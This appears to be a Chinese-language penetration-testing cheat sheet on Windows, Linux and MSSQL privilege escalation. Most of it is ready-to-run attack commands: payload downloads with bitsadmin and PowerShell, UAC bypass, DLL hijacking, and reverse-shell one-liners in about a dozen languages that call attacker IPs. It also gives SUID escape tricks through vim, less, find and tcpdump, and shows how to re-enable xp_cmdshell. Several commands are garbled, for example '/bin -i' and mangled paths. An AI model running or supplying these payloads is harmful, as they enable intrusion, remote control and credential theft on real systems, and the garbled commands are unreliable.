提权
没有管理员权限就无法完成的一些事情:
· 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
· 加载设备驱动程序
· DLL注入
· 修改系统时间(时钟)
· 修改用户帐户控制设置(通过注册表,可以启用/禁用它,但你需要正确的权限才能执行此操作)
· 修改受保护的目录(例如Windows文件夹,Program Files)
· 计划任务(例如,以管理员权限自动启动)
本地溢出
windows系统提权,首先收集补丁信息,
systeminfo>C:WindowsTemp emp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:WindowsTemp emp.txt| @find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:WindowsTemp emp.txt
执行exp的方式
1,先去执行exp.exe然后执行whoami
2,执行exp.exe能够直接添加管理员账号
3,执行exp.exe “系统命令”
寻找文件
dir /b /s *.exe
tasklist
taskkill /F /PID pid
netstat -ano
net start 服务名
net stop 服务名/pid
上传方式
vbs上传
cscript -dw.vbs http://url C://某文件夹
bitsadmin 上传
bitsadmin /transfer myjob1 /download /priority normal "http://hackerserver/xx.exe 某POC" "d:calc.exe目标服务器可写目录"
powershell上传
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('https://www.baidu.com/index.html POC的URL','C:index.html存储路径')
dll注入提权(LPK劫持提权)
T00ls Lpk Sethc v4.0.exe lpk.dll劫持文件自定义生成工具。先设置好按键,将后门dll埋入会调用的程序之中,等待触发,提权成功
UAC用户账户控制
UAC
0级别--不起作用,始终不通知
1级别--比默认级别稍低的级别,仅当尝试更改计算机时通知,当我对windows设置进行更改时不要通知我
2级别--默认级别,仅当应用尝试更改我的计算机时候通知我,当我对windows设置进行更改时不要通知我
3级别--最高安全级别,应用视图安装软件或更改我的计算机,我更改了windows设置是,始终通知我
如何bypass UAC
使用msf去绕过uac,首先需要获取一个普通账户的merterpreter,getuid查看当前用户的权限,getsystem帮助提权到system权限
msf命令:background不退出session后退
nc -lvv -l -p 1234 > 路径/文件名 ,使用nc将接收到的数据重定向到一个路径
nc -d 目标ip:端口 < 脚本文件,将脚本文件的数据传入NC,通过NC传送到目标IP机器
使用Powershell bypass UAC
后渗透测试框架:nishang,Escalation目录有Invoke-PsUACme文件来Bypass UAC
Invoke-PsUACme -verbose
Invoke-PsUACme -oobe -verbose
linux提权
得到shell之后先查看linux系统内核,uname -a, cat /etc/issue , cat /proc/version,都可以查看Linux系统内核版本,发布版本
判断出内核版本自后,就去找exp,然后上传并编译执行,编译gcc exp.c -o exp文件名,
或者有的要加编译选项,gcc -pthread dirty.c -o dirty -lcrypt
弹shell
1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(每个符号是什么意思?)
2、python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.1",8999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、perl
perl -e 'use Socket;$i="192.168.40.1";$p=8999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin -i");};'
4、php
php -r '$sock=fsockopen("192.168.40.1",8999);exec("/bin -i <&3 >&3 2>&3");'
5、ruby -rsocket -e 'f=TCPSocket.open("192.168.40.1",1234).to_i;exec sprintf("/bin -i <&%d >&%d 2>&%d",f,f,f)'
6、nc
有-e 模式:nc -e /bin 192.168.40.1 1234
无-e 模式:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin -i 2>&1|nc 192.168.40.1 1234 >/tmp/f(FIFO文件)
python -c 'import pty; pty.spawn("/bin/bash")'
7、java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.40.1/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()
8、lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.40.1','1234');os.execute('/bin -i <&3 >&3 2>&3');"
9、不使用nc来反弹shell
nc -nvlp 8080
(1)/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
(2)mknod backpipe p && telnet 192.168.40.1 1234 0<backpipe | /bin/bash 1>backpipe
(3)telnet 192.168.40.1 1234 | /bin/bash | telnet 192.168.40.1 2345 (需要在攻击者PC上监听两个端口:1234 2345,1234 输入命令, 2345 输出)
SUID提权
chmod +x /bin/ls
s权限 普通账号执行某些文件时,具有该文件所有的权限
以下三条为查询哪些文件有s权限
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
bash -p 直接提权
vim vim.tiny 进入编辑器,编辑器下按冒号进入底部命令模式,输入 set shell=bin/sh 或 bin/bash回车,设置要使用的shell,之后底部命令模式输入shell,进入shell,提权成功
find find 文件名 -exec 命令 ;
more ls -l /bin/more
more more /etc/passwd 没有看完,在底部输入!叹号,然后输入 /bin/sh,提权成功
less 本来!/bin/sh是无法切换的,利用less 读取一个无法显示完整,输入感叹后,然后输入 bin/sh,提权成功
man man一个文件,输入叹号!/bin/bash,提权成功
cp/mv复制一个shadow passwd文件到可写目录,在文件下按照格式写入账户信息,cp回之前目录
python有s权限,可以先进入python环境,import os; os.system(/bin/bash),也提权成功
perl,进入perl语言里,输入exec "/bin/sh"
awk , aws'BEGIN{system("/bin/sh")}'
tcpdump ,首先 echo $'id
cat /etcadow' > /tmp/.test ,然后chmod +x /tmp/.test ,最后sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root,提权成功
等有s权限的命令都可以用SUID提权
scp 使用
两台机器IP分别为:A.104.238.161.75,B.43.224.34.73。
在A服务器上操作,将B服务器上/home/lk/目录下所有的文件全部复制到本地的/root目录下,命令为:scp -r root@43.224.34.73:/home/lk /root。
在A服务器上将/root/lk目录下所有的文件传输到B的/home/lkfile目录下,命令为:scp -r /root/lk root@43.224.34.73:/home/lkfile。
strings命令 在对象文件或二进制文件中查找可打印的字符串。
数据库提权
mssql
需要账号和密码,数据库服务器的ip和端口
连接工具,Navicat Premium 12、sql tools、大马、小马等
提权步骤
1,连接数据库,信息收集,select name from master.dbo.sysdatabases,获取所有数据库名,select @@version了解数据库版本
2,验证数据库权限,验证连接的账号权限,select IS_SRVROLEMEMBER('sysadmin')是否是sa账户,select IS_SRVROLEMEMBER('db_owner')验证数据库所有者, select IS_SRVROLEMEMBER('public'),验证是否开启了远程连接
3,查看数据库是否有xp_cmdshell扩展存储过程插件,select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell',返回值是1,说明有这个插件,xp_dirtree列目录插件
4,尝试使用插件,exec master..xp_cmdshell 'whoami' exec master..xp_dirtree '路径'
5,如果关闭了xp_cmdshell的话,恢复扩展存储过程,sp_configure 'show advanced options',1;reconfigure;sp_configure 'xp_cmdshell',1;reconfigure